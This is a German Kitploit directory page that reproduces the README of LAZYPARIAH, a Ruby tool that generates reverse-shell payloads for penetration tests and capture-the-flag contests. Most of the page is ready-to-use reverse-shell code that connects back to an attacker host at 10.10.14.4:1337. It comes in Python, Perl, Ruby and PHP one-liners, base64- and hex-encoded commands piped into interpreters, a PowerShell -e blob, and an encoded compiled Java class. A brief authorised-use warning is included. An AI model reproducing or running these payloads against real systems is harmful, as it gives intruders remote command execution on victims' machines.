Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
LAZYPARIAH — Ein Tool zum dynamischen Generieren von Reverse-Shell-Payloads. | Kitploit
Tools/GitHubGitHub/octetsplicer/lazypariah
Payload-GenerierungExploitationCTFPenetrationstestsCommand and ControlRed TeamingShellcode-GenerierungPayload-EntwicklungArchived
GitHuboctetsplicer/lazypariah

LAZYPARIAH

Ein Tool zum dynamischen Generieren von Reverse-Shell-Payloads.

Repository anzeigen
1vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

LAZYPARIAH

Ein Kommandozeilen-Tool mit geringen Abhängigkeiten zur dynamischen Generierung von Reverse-Shell-Payloads.

Alt text

Beschreibung

LAZYPARIAH ist ein einfaches und leicht installierbares, in purem Ruby geschriebenes Kommandozeilen-Tool, das bei Penetrationstests und Capture-the-Flag (CTF)-Wettbewerben verwendet werden kann, um spontan eine Reihe von Reverse-Shell-Payloads zu generieren.

Die von LAZYPARIAH unterstützten Reverse-Shell-Payloads umfassen (sind aber nicht beschränkt auf):

  • C-Binary-Payloads (on-the-fly kompiliert): c_binary
  • Ruby-Payloads: ruby, ruby_b64, ruby_hex, ruby_c
  • Powershell-Payloads: powershell_c, powershell_b64
  • Base64-kodierte Python-Payloads: python_b64
  • Rust-Binary-Payloads (on-the-fly kompiliert): rust_binary
  • PHP-Skripte mit base64-kodierten Python-Payloads, die über die system()-Funktion aufgerufen werden: php_system_python_b64
  • Java-Klassen (on-the-fly kompiliert): java_class
  • Perl-Payloads: perl, perl_b64, perl_hex, perl_c
  • Einfache PHP-Payloads (zielen auf bestimmte Dateideskriptoren): php_fd, php_fd_c, php_fd_tags

Warnung

Dieses Tool ist ausschließlich für den Einsatz in autorisierten Umgebungen durch qualifizierte Pentester, Sicherheitsforscher und Red-Team-Profis vorgesehen. Stellen Sie vor dem Herunterladen, Installieren oder Verwenden dieses Tools sicher, dass Sie die relevanten Gesetze in Ihrem Land verstehen. Der Autor dieses Tools befürwortet, ermutigt oder duldet nicht die Verwendung dieses Tools für illegale oder unbefugte Zwecke.

Abhängigkeiten

  • Ruby >= 2.7.1 (LAZYPARIAH wurde nicht mit früheren Ruby-Versionen getestet)
  • OpenJDK (Optional: Nur für java_class-Payloads erforderlich.)
  • GCC (Optional: Nur für c_binary-Payloads erforderlich.)
  • Rust (Optional: Nur für rust_binary-Payloads erforderlich.)

Installation

LAZYPARIAH kann auf den meisten GNU/Linux- und BSD-Systemen mit dem RubyGems-Installer wie folgt installiert werden:

root@kitploit:~
gem install lazypariah

Nutzung

root@kitploit:~
Usage:	lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
Note:	<ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.

Example:	lazypariah -u python_b64 10.10.14.4 1555
Example:	lazypariah python_c malicious.local 1337

Valid Payloads:
    awk
    bash_tcp
    c_binary
    java_class
    nc
    nc_openbsd
    nc_pipe
    nodejs
    nodejs_b64
    nodejs_c
    nodejs_hex
    perl
    perl_b64
    perl_c
    perl_hex
    php_fd
    php_fd_c
    php_fd_tags
    php_system_python_b64
    php_system_python_hex
    php_system_python_ipv6_b64
    php_system_python_ipv6_hex
    powershell_b64
    powershell_c
    python
    python_b64
    python_c
    python_hex
    python_ipv6
    python_ipv6_b64
    python_ipv6_c
    python_ipv6_hex
    ruby
    ruby_b64
    ruby_c
    ruby_hex
    rust_binary
    socat

Valid Options:
    -h, --help                       Hilfe anzeigen und beenden.
    -l, --license                    Lizenzinformationen anzeigen und beenden.
    -u, --url                        Payload URL-kodieren.
    -v, --version                    Versionsinformationen anzeigen und beenden.
    -D, --fd INTEGER                 Den vom Ziel für TCP verwendeten Dateideskriptor angeben. Für bestimmte Payloads erforderlich.
    -P, --pv INTEGER                 Python-Version für Payload angeben. Muss entweder 2 oder 3 sein. Standardmäßig wird keine Version angegeben.
    -N, --no-new-line                Kein Zeilenumbruch am Ende des Payloads anhängen.
        --b64                        Codiert einen c_binary-, rust_binary- oder java_class-Payload in Base64.
        --hex                        Codiert einen c_binary-, rust_binary- oder java_class-Payload hexadezimal.
        --gzip                       Komprimiert einen c_binary-, rust_binary- oder java_class-Payload mit zlib.
        --gzip_b64                   Komprimiert einen c_binary-, rust_binary- oder java_class-Payload mit zlib und kodiert das Ergebnis in Base64.
        --gzip_hex                   Komprimiert einen c_binary-, rust_binary- oder java_class-Payload mit zlib und kodiert das Ergebnis hexadezimal.

Weitere Hinweise und Beispiele

Die oben aufgeführten Payloads sind mehr oder weniger systematisch benannt.

Payloads, die auf _c enden, sind für die Ausführung innerhalb einer Shell-Sitzung gedacht. Diese Payloads führen Code direkt mit dem entsprechenden Interpreter aus (z. B. python3 -c oder ruby -e).

Zum Beispiel sollte der Befehl lazypariah python_c 10.10.14.4 1337 die folgende Ausgabe erzeugen:

root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Der Befehl lazypariah python 10.10.14.4 1337 hingegen sollte einfach einen Block Python-Code erzeugen, der potenziell in eine .py-Datei eingefügt werden könnte:

root@kitploit:~
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Im Allgemeinen sollte die Auswahl von Payloads, die auf _b64 enden, einen Befehl liefern, der ähnlich wie Payloads, die auf _c enden, in einer Shell-Sitzung ausgeführt wird, aber die Befehle unterscheiden sich in der Struktur. Diese Befehle leiten einen base64-kodierten Codeblock über base64 -d und dann an den entsprechenden Interpreter (z. B. python3, python2 oder ruby) weiter.

Zum Beispiel sollte der Befehl lazypariah python_b64 10.10.14.4 1337 die folgende Ausgabe erzeugen:

root@kitploit:~
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python

Eine Ausnahme bildet powershell_b64, das den integrierten Base64-Decoder von PowerShell verwendet. Der Befehl lazypariah powershell_b64 10.10.14.4 1337 sollte z. B. Folgendes zurückgeben:

root@kitploit:~
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

(Hinweis: Die Länge des obigen Payloads ist darauf zurückzuführen, dass PowerShell UTF-16LE-Kodierung verwendet, bei der ein einzelnes Zeichen zwei Bytes entspricht.)

Diese Art von Payloads kann in bestimmten Situationen nützlich sein, da sie keine einfachen oder doppelten Anführungszeichen enthalten.

In ähnlicher Weise erzeugt die Auswahl von Payloads, die auf _hex enden, einen Befehl, der einen hexadezimal kodierten Codeblock über xxd -p -r - und dann an den entsprechenden Interpreter weiterleitet. Beispielsweise sollte lazypariah perl_hex 10.10.14.4 1337 die folgende Ausgabe erzeugen:

root@kitploit:~
echo 75736520536f636b65743b24693d2231302e31302e31342e34223b24703d313333373b736f636b657428532c50465f494e45542c534f434b5f53545245414d2c67657470726f746f62796e616d6528227463702229293b696628636f6e6e65637428532c736f636b616464725f696e2824702c696e65745f61746f6e282469292929297b6f70656e28535444494e2c223e265322293b6f70656e285354444f55542c223e265322293b6f70656e285354444552522c223e265322293b6578656328222f62696e2f7368202d6922293b7d3b | xxd -p -r - | perl

Kompilierte Payloads (c_binary, java_class und rust_binary) haben optionale Befehlszeilenargumente für zlib-Kompression (--gzip), Base64-Kodierung (--b64) und Hexadezimal-Kodierung (--hex).

Zum Beispiel sollte der Befehl lazypariah --b64 java_class 10.10.14.4 1337 die folgende Ausgabe erzeugen:

root@kitploit:~
yv66vgAAADcAXwoAHQApBwAqBwArCAAsCgACAC0KAAIALgoAAgAvBwAwCAAxCgAIADIKACMAMwoAIwA0CgAIADMKACMANQoACAA1CgAIADYKACQANwoAJAA4CgAlADkKACUAOgUAAAAAAAAAMgoAOwA8CgAjAD0HAD4KACMAPwoACABABwBBBwBCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAEMHAEQHAEUBAApFeGNlcHRpb25zAQAKU291cmNlRmlsZQEAB3JzLmphdmEMAB4AHwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoDAAeAEYMAEcASAwASQBKAQAPamF2YS9uZXQvU29ja2V0AQAKMTAuMTAuMTQuNAwAHgBLDABMAE0MAE4ATQwATwBQDABRAFIMAFMAVAwAVQBUDABWAFcMAFgAHwcAWQwAWgBbDABcAFQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABdAB8MAF4AHwEAAnJzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAE3JlZGlyZWN0RXJyb3JTdHJlYW0BAB0oWilMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAD2dldE91dHB1dFN0cmVhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEACGlzQ2xvc2VkAQADKClaAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABXdyaXRlAQAEKEkpVgEABWZsdXNoAQAQamF2YS9sYW5nL1RocmVhZAEABXNsZWVwAQAEKEopVgEACWV4aXRWYWx1ZQEAB2Rlc3Ryb3kBAAVjbG9zZQAhABwAHQAAAAAAAQABAB4AHwACACAAAAEAAAYACQAAALAqtwABuwACWQS9AANZAxIEU7cABQS2AAa2AAdMuwAIWRIJEQU5twAKTSu2AAtOK7YADDoELLYADToFK7YADjoGLLYADzoHLLYAEJoAXS22ABGeAA8ZBy22ABK2ABOn//AZBLYAEZ4AEBkHGQS2ABK2ABOn/+4ZBbYAEZ4AEBkGGQW2ABK2ABOn/+4ZB7YAFBkGtgAUFAAVuAAXK7YAFGlenAAg6CKf/oiu2ABostgAbsQABAJoAnwCiABkAAgAhAAAABgABAAAAAQAiAAAAKgAH/wBGAAgHABwHACMHAAgHACQHACQHACQHACUHACUAAAYSFBRXBwAZBAAmAAAABAABABkAAQAnAAAAAgAo

Es ist auch möglich, eine zlib-Kompression bei einem der oben genannten kompilierten Payloads durchzuführen, bevor er mit den Befehlszeilenargumenten --gzip_b64 bzw. --gzip_hex in Base64 oder Hexadezimal kodiert wird. Beispielsweise sollte der Befehl lazypariah --gzip_hex java_class 10.10.14.4 1337 die folgende Ausgabe erzeugen:

root@kitploit:~
1f8b08003ca25960000375535d57125114dd83335ca0511431a53433b5f00bb42c13cc4ad3c2f0a3200dcd5a03dc741419d7cc50f6577ca8b57cf1b55eb095ab7e403fa6d52fc8ce0549c91aee6cced9779f7bce9939f3fdd7976f0046f0ca8336f430f432f4b9d0ef810303024202c20c832e0c79e0c2750f3a7143c0b0704bd64d6195e096075d181170db836e8c0a8828285f141ac59808b8c3302efeef8a987b0cf719262438c7f4bc6e8f4ba809f62c4a90278d2c97e08deb793e57d84a7333a9a573c4d4266c2db339ab6d977c864986070c53123c533b19be6deb46de22276114cc0c9fd6450833add086f646537109ed125a841dce69f9b5f0826964b8654d14f45c969b12ea4fb612b6a9e7d728389cd6f3616b5d044fab7888472a6298a1d24ada3cb7c30923b3c96d4a3a3418126b38342cd48f55c431ab624ec03c16543cc153150924553c13b0882515cfd1ce9052b18c15152f9094d07852c49f9654aca25dc54b51bfc3b4aa2a9d4f6ff00ca56f38d357e52cdd08c7f2db059b7ae2da96047f859d2fd8a7e8f3c195f8df0f202a5e46a3c9b3ba4949a64cd3302bf2b6e0724ffc7fcf322a41b16ccda4ba9a82ff904545bab3d962225ddd1ab7abea6dae9c50dd48b42cad2aca4b4475572da7824fef50b44bb7267386c5b3a5a95b96e0269d9e2b0f1a31319a4392d2b6f2d6d46d2e560a942e575ae60ad57bd85e4fab1d2ca71be2d943342e9e63bbabda8e50a620eb3dcb24de31d8932222d3ad04adf9db824fad170d2d776593870c24decc7de03488770a4e4afa849d5f8e4c40114b90867112c7e0857cae76e50460fe099ed2be2dc1c811a91fb8ba88d2864d7459c647b238cb07e17ab034534bc8737c0c8f015d1b87ff4332097b8fa00135699fc11508e49a7b02a242bc21fa0c47e3f9a3ea399ce6f59da872be2da3fda23e70225b9f8894adfc507ec21409d7440f42195babb42d80b768469b8185a193a9930ba2aab9b16a97d7eff124340c655d2cb1417a0fb1ad90e047f03b0d0dc15ad040000

Einige Payloads erfordern die Angabe des Dateideskriptors, der vom Ziel für TCP-Verbindungen verwendet wird. Ein solcher Payload ist php_fd_tags, ein einfacher PHP-Payload, der in PHP-Tags (<?php und ?>) eingeschlossen ist und auf einen bestimmten Dateideskriptor abzielt.

Um einen bestimmten Dateideskriptor anzugeben, muss der Benutzer das Befehlszeilenargument -D INTEGER oder --fd INTEGER verwenden. Um beispielsweise einen php_fd_tags-Payload zu generieren, der auf Dateideskriptor 5 abzielt, kann der folgende Befehl verwendet werden: lazypariah -D 5 php_fd_tags 10.10.14.4 1337

Der resultierende Payload sollte wie folgt aussehen: <?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&5 >&5 2>&5");?>

Im Folgenden finden Sie einige Beispiele für Befehle und ihre jeweiligen Ausgaben.

Ausgabe des Befehls lazypariah -P 3 -u python_b64 10.10.14.4 1337:

root@kitploit:~
echo%20aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw%3D%3D%20%7C%20base64%20-d%20%7C%20python3

Ausgabe des Befehls lazypariah -P 2 python_c 10.10.14.4 1337:

root@kitploit:~
python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ausgabe des Befehls lazypariah -D 3 php_fd_tags 10.10.14.4 1337:

root@kitploit:~
<?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&3 >&3 2>&3");?>

Ausgabe des Befehls lazypariah ruby 10.10.14.4 1337:

root@kitploit:~
require "socket";exit if fork;c=TCPSocket.new("10.10.14.4","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end

Autor

Copyright (C) 2020-2022 Peter Bruce Funnell

Lizenz

Dieses Programm ist freie Software: Sie können es unter den Bedingungen der GNU General Public License, wie von der Free Software Foundation veröffentlicht, entweder Version 3 der Lizenz oder (nach Ihrer Wahl) jeder späteren Version weiterverbreiten und/oder modifizieren.

Dieses Programm wird in der Hoffnung verteilt, dass es nützlich sein wird, aber OHNE JEGLICHE GEWÄHRLEISTUNG; ohne die stillschweigende Garantie der MARKTGÄNGIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK. Weitere Details finden Sie in der GNU General Public License.

Sie sollten eine Kopie der GNU General Public License zusammen mit diesem Programm erhalten haben. Falls nicht, siehe https://www.gnu.org/licenses/.

Tool herunterladen